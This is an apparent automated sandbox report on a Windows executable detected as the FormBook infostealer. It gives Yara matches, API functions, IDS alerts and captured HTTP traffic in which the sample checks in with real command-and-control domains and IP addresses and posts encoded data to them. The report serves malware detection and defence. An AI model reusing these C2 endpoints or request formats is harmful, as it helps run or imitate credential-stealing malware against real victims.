Windows Analysis Report
rP0n___87004354.exe

AI detected suspicious sample

Source: Yara match	File source: 1.2.svchost.exe.2490000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2490000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1812489277.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3548998319.0000000005260000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1817351860.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3547541019.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1817399152.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3546547268.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3547479377.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3547465093.00000000055B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: rP0n___87004354.exe

Joe Sandbox ML: detected

Source: rP0n___87004354.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: FrywuFHvnDbLo.exe, 00000002.00000000.1729011183.0000000000DBE000.00000002.00000001.01000000.00000004.sdmp, FrywuFHvnDbLo.exe, 00000005.00000000.1882941520.0000000000DBE000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: rP0n___87004354.exe, 00000000.00000003.1700289327.00000000038A0000.00000004.00001000.00020000.00000000.sdmp, rP0n___87004354.exe, 00000000.00000003.1699565720.0000000004200000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1713196768.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1816942530.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1710437251.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1816942530.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1819913903.000000000436A000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.3547780218.0000000004510000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.3547780218.00000000046AE000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1818285042.00000000041B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: rP0n___87004354.exe, 00000000.00000003.1700289327.00000000038A0000.00000004.00001000.00020000.00000000.sdmp, rP0n___87004354.exe, 00000000.00000003.1699565720.0000000004200000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1713196768.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1816942530.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1710437251.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1816942530.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, mstsc.exe, 00000003.00000003.1819913903.000000000436A000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.3547780218.0000000004510000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.3547780218.00000000046AE000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1818285042.00000000041B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mstsc.pdbGCTL source: svchost.exe, 00000001.00000003.1781073080.0000000008C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1781207304.0000000008E00000.00000004.00000020.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000002.00000003.1763185053.0000000006CD0000.00000004.00000001.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000002.00000003.1764554247.0000000006E10000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: mstsc.exe, 00000003.00000002.3548096253.0000000004B3C000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000003.00000002.3546768186.0000000000582000.00000004.00000020.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000005.00000000.1883295228.0000000002E2C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2104098329.000000002E32C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: mstsc.pdb source: svchost.exe, 00000001.00000003.1781073080.0000000008C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1781207304.0000000008E00000.00000004.00000020.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000002.00000003.1763185053.0000000006CD0000.00000004.00000001.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000002.00000003.1764554247.0000000006E10000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: mstsc.exe, 00000003.00000002.3548096253.0000000004B3C000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000003.00000002.3546768186.0000000000582000.00000004.00000020.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000005.00000000.1883295228.0000000002E2C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2104098329.000000002E32C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007D449B GetFileAttributesW,FindFirstFileW,FindClose,	0_2_007D449B
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007DC75D FindFirstFileW,FindClose,	0_2_007DC75D
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007DC7E8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_007DC7E8
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007DF021 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_007DF021
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007DF17E SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_007DF17E
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007DF47F FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_007DF47F
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007D3833 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_007D3833
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007D3B56 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_007D3B56
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007DBD48 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_007DBD48
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0017C460 FindFirstFileW,FindNextFileW,FindClose,	3_2_0017C460

Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4x nop then xor eax, eax	3_2_00169C00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4x nop then pop edi	3_2_0016E012
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4x nop then mov ebx, 00000004h	3_2_042A04DE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49773 -> 104.21.11.31:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49773 -> 104.21.11.31:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49749 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49737 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49756 -> 103.248.137.209:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49749 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49750 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49736 -> 81.88.63.46:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49736 -> 81.88.63.46:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49742 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49767 -> 85.153.138.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49755 -> 103.248.137.209:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49758 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49747 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49754 -> 103.248.137.209:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49740 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49740 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49771 -> 104.21.11.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49739 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49743 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49748 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49751 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49768 -> 85.153.138.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49744 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49757 -> 103.248.137.209:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49760 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49753 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49757 -> 103.248.137.209:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49746 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49752 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49753 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49738 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49762 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49765 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49765 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49759 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49769 -> 85.153.138.113:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49769 -> 85.153.138.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49764 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49770 -> 104.21.11.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49766 -> 85.153.138.113:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49761 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49761 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49745 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49745 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49763 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49772 -> 104.21.11.31:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.heldhold.xyz

Source: Joe Sandbox View	IP Address: 67.223.117.189 67.223.117.189
Source: Joe Sandbox View	IP Address: 217.70.184.50 217.70.184.50

Source: Joe Sandbox View	ASN Name: VIMRO-AS15189US VIMRO-AS15189US
Source: Joe Sandbox View	ASN Name: SINGLEHOP-LLCUS SINGLEHOP-LLCUS
Source: Joe Sandbox View	ASN Name: DNC-ASDimensionNetworkCommunicationLimitedHK DNC-ASDimensionNetworkCommunicationLimitedHK
Source: Joe Sandbox View	ASN Name: GANDI-ASDomainnameregistrar-httpwwwgandinetFR GANDI-ASDomainnameregistrar-httpwwwgandinetFR
Source: Joe Sandbox View	ASN Name: REGISTER-ASIT REGISTER-ASIT

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007E2404 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_007E2404

Source: global traffic	HTTP traffic detected: GET /a4ar/?n0=mTk8u4lhzbnhVh&PR_xXrA=bigEPZ6XMKFUrjbnFuEouLJTNPVDiP/j9U81Matj+rZ/AUf1cwoUFkvfutX9dfv4h0MjihypUwM2GA6oEMuOAdNfbVj3/yE4LVCgAj4ckDbKMFX8mxMH3uQ= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.2bhp.comConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /8pln/?PR_xXrA=T9/DtY4QstE2hf5O1waUB+I/eJ4Uv9cvfz5cQjr/yHb6PkgoDrQz8TZtAEENUqwsBaW/Syqgj8DnNvIHzYG9oL792aB/FoBSyK+aeSTPR1nXcfMqNX8wInY=&n0=mTk8u4lhzbnhVh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.ultraleap.netConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /v2c3/?n0=mTk8u4lhzbnhVh&PR_xXrA=4KW7rJi8xQgG5Juif0zvrQruwxJNCZQzPrutLC9Z2JC7riozJk19TyUHcpxc9ASY/m5rLPYp2hVK9kL/MGxev+uUFboPihN5w7Wu/KeDCgTl/GYzmTNxclA= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.dalong.siteConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /xamn/?PR_xXrA=eI40u+kXl6dCNOxuFKbCigR1N86mEgfKXPnA2oRVh57cb1FOyw5acKt1uSVkrtOGePUCnlUQIJS7kZjahSWR6R1adFopucWDE2ha6/s1PPXDYip6cFIdDHY=&n0=mTk8u4lhzbnhVh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.mgeducacaopro.onlineConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /fava/?PR_xXrA=GCDZpLqdSYk7fT5CRgwCB4qcStchn8AdfdSMH3wAhEJHSlsoeLITVJbnCwS/lbUV+KMqaRxHJZIr2IJ0lKwQCgtKpqiTYCqf8kUZvClY0WdZB6RiKYyZbbU=&n0=mTk8u4lhzbnhVh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.heldhold.xyzConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /5o7d/?PR_xXrA=zMeRclQqEZ6cHEksxL2258xeQPEFk6LXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3QDdipY9Tb1BbXYBiFpGduAov/pmUDz/4soHslE7c+cNQZpL9+8t0WKA=&n0=mTk8u4lhzbnhVh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.63582.photoConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /kt2f/?PR_xXrA=3qIRfQl/AKdo1myUuOHVh1YjbZAZzTLYZ4NmxJouZDst8nFYGFmfJjzqUfk6VEmL81v5o0lFZhte5+gDx+sfFJzn9v28G/J2fr9BwA1qwWv9b12erCAk53Y=&n0=mTk8u4lhzbnhVh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.asiapartnars.onlineConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /al6z/?n0=mTk8u4lhzbnhVh&PR_xXrA=VRCNh0NW0GgzXjJ9PdlWfXWwdPKpBv6LK6gi/31OI/HLVz3edLOFPgfBWIIFI1yv4KnHdZ/ByCAdRrOw29Cps8gpdM+xYTm/p50f5dz2MVQM3pqegGrg4cw= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.linkwave.cloudConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /3lu7/?PR_xXrA=nzWofdhWpyQTuQkDfxpOhZSR2SP28ZN4SJ26h7kwykQFM8AQx5IfrLSrYivs6QFJHI8FrKvcoPkOi5L1XFRCLbCiXi5UAF8H0knLfKrCbz8tBFYRfGccZ0A=&n0=mTk8u4lhzbnhVh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.mfgarage.netConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /zznj/?n0=mTk8u4lhzbnhVh&PR_xXrA=XN/afWzprYUm2zEh/Me8v7IO6BZfJ8ldqsTKqfvYzDGyGH3Qqe2ibLEK4zu3d4hkDWgHsBH7o/PgLSUsZsuwL2SV1lDf+BUf6ZfDIcx/0TWTXhhDzyKZrRs= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.b5x7vk.agencyConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.2bhp.com
Source: global traffic	DNS traffic detected: DNS query: www.ultraleap.net
Source: global traffic	DNS traffic detected: DNS query: www.dalong.site
Source: global traffic	DNS traffic detected: DNS query: www.mgeducacaopro.online
Source: global traffic	DNS traffic detected: DNS query: www.heldhold.xyz
Source: global traffic	DNS traffic detected: DNS query: www.63582.photo
Source: global traffic	DNS traffic detected: DNS query: www.useanecdotenow.tech
Source: global traffic	DNS traffic detected: DNS query: www.asiapartnars.online
Source: global traffic	DNS traffic detected: DNS query: www.linkwave.cloud
Source: global traffic	DNS traffic detected: DNS query: www.mfgarage.net
Source: global traffic	DNS traffic detected: DNS query: www.b5x7vk.agency

Source: unknown

HTTP traffic detected: POST /8pln/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflateHost: www.ultraleap.netOrigin: http://www.ultraleap.netContent-Length: 204Content-Type: application/x-www-form-urlencodedCache-Control: no-cacheConnection: closeReferer: http://www.ultraleap.net/8pln/User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36Data Raw: 50 52 5f 78 58 72 41 3d 65 2f 58 6a 75 76 46 59 68 35 34 77 34 36 70 41 31 52 66 4e 51 72 73 6b 61 4b 4d 33 35 76 51 7a 47 57 52 74 63 31 66 38 33 30 62 31 4a 32 38 54 46 74 63 79 2b 44 4e 50 4c 41 73 55 63 6f 4e 74 50 70 6e 76 58 68 6d 33 72 38 48 6b 4b 75 77 70 76 39 69 48 6f 37 6a 45 77 70 42 4e 61 49 78 51 76 36 4f 4b 59 53 36 7a 5a 32 50 51 61 72 4d 72 4d 43 34 36 48 6b 76 6b 49 63 47 36 46 6e 6e 43 68 55 32 55 4c 69 43 57 57 52 4a 79 36 78 45 50 35 46 42 39 4b 76 44 46 72 55 6d 70 2b 51 72 33 6a 76 6d 39 63 42 63 65 56 73 4c 48 56 55 55 63 2b 39 67 31 66 62 72 70 56 46 65 49 5a 7a 77 55 46 41 3d 3d Data Ascii: PR_xXrA=e/XjuvFYh54w46pA1RfNQrskaKM35vQzGWRtc1f830b1J28TFtcy+DNPLAsUcoNtPpnvXhm3r8HkKuwpv9iHo7jEwpBNaIxQv6OKYS6zZ2PQarMrMC46HkvkIcG6FnnChU2ULiCWWRJy6xEP5FB9KvDFrUmp+Qr3jvm9cBceVsLHVUUc+9g1fbrpVFeIZzwUFA==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 10:46:29 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 34 61 72 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /a4ar/ was not found on this server.</p></body></html>
